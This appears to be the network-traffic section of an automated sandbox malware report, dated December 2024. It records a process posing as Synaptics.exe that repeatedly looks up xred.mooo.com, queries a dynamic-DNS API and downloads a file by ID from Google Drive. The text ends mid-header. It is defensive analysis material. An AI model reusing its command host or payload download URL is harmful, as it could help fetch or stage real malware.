Dec 6, 2024 00:17:54.376178980 CET	50249	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.376184940 CET	443	50249	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.570914030 CET	443	50250	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.571373940 CET	50250	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.571388960 CET	443	50250	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.571854115 CET	50250	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.571856976 CET	443	50250	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.624744892 CET	443	50251	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.625076056 CET	50251	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.625102997 CET	443	50251	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.625447989 CET	50251	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.625452995 CET	443	50251	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.767157078 CET	443	50248	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.767179012 CET	443	50248	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.767216921 CET	443	50248	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.767239094 CET	50248	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.767275095 CET	50248	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.767452002 CET	50248	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.767462969 CET	443	50248	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.767472982 CET	50248	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.767477989 CET	443	50248	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.770054102 CET	50253	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.770083904 CET	443	50253	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.770148039 CET	50253	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.770258904 CET	50253	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.770275116 CET	443	50253	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.806006908 CET	443	50249	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.806025028 CET	443	50249	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.806101084 CET	50249	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.806113958 CET	443	50249	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.806272984 CET	50249	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.806283951 CET	443	50249	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.806294918 CET	50249	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.806426048 CET	443	50249	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.806453943 CET	443	50249	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.806493998 CET	50249	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.808310032 CET	50254	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.808341026 CET	443	50254	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.808420897 CET	50254	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.808546066 CET	50254	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.808558941 CET	443	50254	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.936343908 CET	443	50252	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.936780930 CET	50252	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.936795950 CET	443	50252	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.937268972 CET	50252	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.937277079 CET	443	50252	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:55.052063942 CET	443	50250	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:55.055052042 CET	443	50250	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:55.055109024 CET	50250	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:55.055147886 CET	50250	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:55.055152893 CET	443	50250	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:55.055161953 CET	50250	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:55.055166006 CET	443	50250	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:55.057626009 CET	50255	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:55.057655096 CET	443	50255	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:55.057724953 CET	50255	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:55.057837963 CET	50255	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:55.057852983 CET	443	50255	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:55.124280930 CET	443	50251	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:55.124329090 CET	443	50251	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:55.124382973 CET	50251	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:55.124500990 CET	50251	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:55.124519110 CET	443	50251	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:55.124528885 CET	50251	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:55.124533892 CET	443	50251	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:55.126458883 CET	50256	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:55.126476049 CET	443	50256	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:55.126538992 CET	50256	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:55.126630068 CET	50256	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:55.126641989 CET	443	50256	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:55.381844044 CET	443	50252	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:55.381980896 CET	443	50252	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:55.382040977 CET	50252	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:55.382179022 CET	50252	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:55.382193089 CET	443	50252	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:55.382203102 CET	50252	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:55.382208109 CET	443	50252	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:55.384743929 CET	50257	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:55.384767056 CET	443	50257	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:55.384841919 CET	50257	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:55.384984970 CET	50257	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:55.384999990 CET	443	50257	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.499144077 CET	443	50253	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.499722004 CET	50253	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:56.499737024 CET	443	50253	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.500169992 CET	50253	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:56.500174046 CET	443	50253	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.527375937 CET	443	50254	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.527712107 CET	50254	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:56.527730942 CET	443	50254	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.528088093 CET	50254	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:56.528091908 CET	443	50254	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.780416965 CET	443	50255	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.780899048 CET	50255	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:56.780911922 CET	443	50255	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.781352043 CET	50255	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:56.781358004 CET	443	50255	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.839703083 CET	443	50256	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.840085983 CET	50256	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:56.840121031 CET	443	50256	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.840454102 CET	50256	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:56.840460062 CET	443	50256	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.931354046 CET	443	50253	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.934731960 CET	443	50253	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.934778929 CET	50253	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:56.934804916 CET	50253	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:56.934817076 CET	443	50253	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.934827089 CET	50253	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:56.934837103 CET	443	50253	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.937565088 CET	50258	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:56.937589884 CET	443	50258	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.937663078 CET	50258	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:56.937805891 CET	50258	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:56.937819004 CET	443	50258	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.964804888 CET	443	50254	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.964854002 CET	443	50254	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.964895010 CET	443	50254	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.964948893 CET	50254	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:56.965055943 CET	50254	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:56.965073109 CET	443	50254	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:56.965082884 CET	50254	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:56.965087891 CET	443	50254	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:57.101028919 CET	443	50257	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:57.101536989 CET	50257	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:57.101562023 CET	443	50257	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:57.101998091 CET	50257	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:57.102003098 CET	443	50257	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:57.235443115 CET	443	50255	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:57.238631964 CET	443	50255	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:57.240869045 CET	50255	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:57.240906954 CET	50255	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:57.240919113 CET	443	50255	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:57.240930080 CET	50255	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:57.240935087 CET	443	50255	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:57.454143047 CET	443	50256	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:57.457731009 CET	443	50256	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:57.460932970 CET	50256	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:57.461011887 CET	50256	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:57.461025953 CET	443	50256	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:57.461041927 CET	50256	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:57.461047888 CET	443	50256	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:57.529022932 CET	443	50257	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:57.532092094 CET	443	50257	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:57.532814980 CET	50257	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:57.532836914 CET	50257	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:57.532847881 CET	443	50257	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:57.532859087 CET	50257	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:57.532864094 CET	443	50257	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:58.655637980 CET	443	50258	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:58.656119108 CET	50258	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:58.656155109 CET	443	50258	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:58.656558037 CET	50258	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:58.656563997 CET	443	50258	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:59.090501070 CET	443	50258	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:59.090558052 CET	443	50258	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:59.090611935 CET	50258	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:59.100285053 CET	50258	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:59.100311995 CET	443	50258	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:59.100325108 CET	50258	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:59.100331068 CET	443	50258	13.107.246.63	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 00:14:59.974967957 CET	49292	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:15:00.120094061 CET	53	49292	1.1.1.1	192.168.2.4
Dec 6, 2024 00:15:00.853424072 CET	51963	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:15:01.635704041 CET	53	51963	1.1.1.1	192.168.2.4
Dec 6, 2024 00:15:01.639755011 CET	52895	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:15:02.268500090 CET	53	52895	1.1.1.1	192.168.2.4
Dec 6, 2024 00:15:02.995193005 CET	61803	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:15:03.136965990 CET	53	61803	1.1.1.1	192.168.2.4
Dec 6, 2024 00:15:06.909780025 CET	53430	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:15:07.045643091 CET	53	53430	1.1.1.1	192.168.2.4
Dec 6, 2024 00:15:11.837459087 CET	49742	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:15:11.978735924 CET	53	49742	1.1.1.1	192.168.2.4
Dec 6, 2024 00:15:17.644387007 CET	63095	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:15:17.782161951 CET	53	63095	1.1.1.1	192.168.2.4
Dec 6, 2024 00:15:22.301423073 CET	52765	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:15:22.437695026 CET	53	52765	1.1.1.1	192.168.2.4
Dec 6, 2024 00:15:28.082003117 CET	52759	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:15:28.219383955 CET	53	52759	1.1.1.1	192.168.2.4
Dec 6, 2024 00:15:32.738706112 CET	54414	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:15:32.882339954 CET	53	54414	1.1.1.1	192.168.2.4
Dec 6, 2024 00:15:38.550606012 CET	57412	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:15:38.695219994 CET	53	57412	1.1.1.1	192.168.2.4
Dec 6, 2024 00:15:43.223025084 CET	63149	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:15:43.364003897 CET	53	63149	1.1.1.1	192.168.2.4
Dec 6, 2024 00:15:49.019684076 CET	53623	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:15:49.155426979 CET	53	53623	1.1.1.1	192.168.2.4
Dec 6, 2024 00:15:53.677268982 CET	53106	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:15:53.816365957 CET	53	53106	1.1.1.1	192.168.2.4
Dec 6, 2024 00:15:59.503460884 CET	60691	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:15:59.642499924 CET	53	60691	1.1.1.1	192.168.2.4
Dec 6, 2024 00:16:06.441167116 CET	51227	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:16:06.578558922 CET	53	51227	1.1.1.1	192.168.2.4
Dec 6, 2024 00:16:13.409712076 CET	50068	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:16:13.551403046 CET	53	50068	1.1.1.1	192.168.2.4
Dec 6, 2024 00:16:20.363703012 CET	55795	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:16:20.497423887 CET	53	55795	1.1.1.1	192.168.2.4
Dec 6, 2024 00:16:27.301142931 CET	54796	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:16:27.433415890 CET	53	54796	1.1.1.1	192.168.2.4
Dec 6, 2024 00:16:34.253726006 CET	59303	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:16:34.388890028 CET	53	59303	1.1.1.1	192.168.2.4
Dec 6, 2024 00:16:59.362623930 CET	59501	53	192.168.2.4	1.1.1.1
Dec 6, 2024 00:16:59.501307011 CET	53	59501	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2024 00:14:59.974967957 CET	192.168.2.4	1.1.1.1	0x40e0	Standard query (0)	docs.google.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:00.853424072 CET	192.168.2.4	1.1.1.1	0x418d	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:01.639755011 CET	192.168.2.4	1.1.1.1	0x6f3c	Standard query (0)	freedns.afraid.org	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:02.995193005 CET	192.168.2.4	1.1.1.1	0x7c88	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:06.909780025 CET	192.168.2.4	1.1.1.1	0xb46	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:11.837459087 CET	192.168.2.4	1.1.1.1	0x7784	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:17.644387007 CET	192.168.2.4	1.1.1.1	0x8a0a	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:22.301423073 CET	192.168.2.4	1.1.1.1	0xcd92	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:28.082003117 CET	192.168.2.4	1.1.1.1	0xb9d7	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:32.738706112 CET	192.168.2.4	1.1.1.1	0x8d9d	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:38.550606012 CET	192.168.2.4	1.1.1.1	0x7ee7	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:43.223025084 CET	192.168.2.4	1.1.1.1	0x60cf	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:49.019684076 CET	192.168.2.4	1.1.1.1	0x717c	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:53.677268982 CET	192.168.2.4	1.1.1.1	0xb0ea	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:59.503460884 CET	192.168.2.4	1.1.1.1	0xffa6	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:16:06.441167116 CET	192.168.2.4	1.1.1.1	0xa5c0	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:16:13.409712076 CET	192.168.2.4	1.1.1.1	0x310f	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:16:20.363703012 CET	192.168.2.4	1.1.1.1	0xf46c	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:16:27.301142931 CET	192.168.2.4	1.1.1.1	0x953e	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:16:34.253726006 CET	192.168.2.4	1.1.1.1	0x3884	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:16:59.362623930 CET	192.168.2.4	1.1.1.1	0x512c	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 6, 2024 00:15:00.120094061 CET	1.1.1.1	192.168.2.4	0x40e0	No error (0)	docs.google.com		142.250.181.14	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:01.635704041 CET	1.1.1.1	192.168.2.4	0x418d	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:02.268500090 CET	1.1.1.1	192.168.2.4	0x6f3c	No error (0)	freedns.afraid.org		69.42.215.252	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:03.136965990 CET	1.1.1.1	192.168.2.4	0x7c88	No error (0)	drive.usercontent.google.com		142.250.181.33	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:07.045643091 CET	1.1.1.1	192.168.2.4	0xb46	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:11.978735924 CET	1.1.1.1	192.168.2.4	0x7784	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:17.782161951 CET	1.1.1.1	192.168.2.4	0x8a0a	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:22.437695026 CET	1.1.1.1	192.168.2.4	0xcd92	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:28.219383955 CET	1.1.1.1	192.168.2.4	0xb9d7	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:32.882339954 CET	1.1.1.1	192.168.2.4	0x8d9d	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:38.695219994 CET	1.1.1.1	192.168.2.4	0x7ee7	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:43.364003897 CET	1.1.1.1	192.168.2.4	0x60cf	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:49.155426979 CET	1.1.1.1	192.168.2.4	0x717c	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:53.816365957 CET	1.1.1.1	192.168.2.4	0xb0ea	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:55.101830006 CET	1.1.1.1	192.168.2.4	0xa2a8	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 00:15:55.101830006 CET	1.1.1.1	192.168.2.4	0xa2a8	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:15:59.642499924 CET	1.1.1.1	192.168.2.4	0xffa6	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:16:06.578558922 CET	1.1.1.1	192.168.2.4	0xa5c0	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:16:13.551403046 CET	1.1.1.1	192.168.2.4	0x310f	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:16:20.497423887 CET	1.1.1.1	192.168.2.4	0xf46c	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:16:27.433415890 CET	1.1.1.1	192.168.2.4	0x953e	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:16:34.388890028 CET	1.1.1.1	192.168.2.4	0x3884	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 00:16:59.501307011 CET	1.1.1.1	192.168.2.4	0x512c	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

docs.google.com

drive.usercontent.google.com

otelrules.azureedge.net

freedns.afraid.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49739	69.42.215.252	80	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 00:15:02.469490051 CET	154	OUT	GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1 User-Agent: MyApp Host: freedns.afraid.org Cache-Control: no-cache
Dec 6, 2024 00:15:04.638396978 CET	243	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 05 Dec 2024 23:15:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Cache: MISS Data Raw: 31 66 0d 0a 45 52 52 4f 52 3a 20 43 6f 75 6c 64 20 6e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fERROR: Could not authenticate.0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:02 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:02 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:02 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-CkK-OT33fRGGWYzOeKQJPA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:02 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:02 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:02 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-D8SKmSzdDk7ZvqTFDB2ptg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, 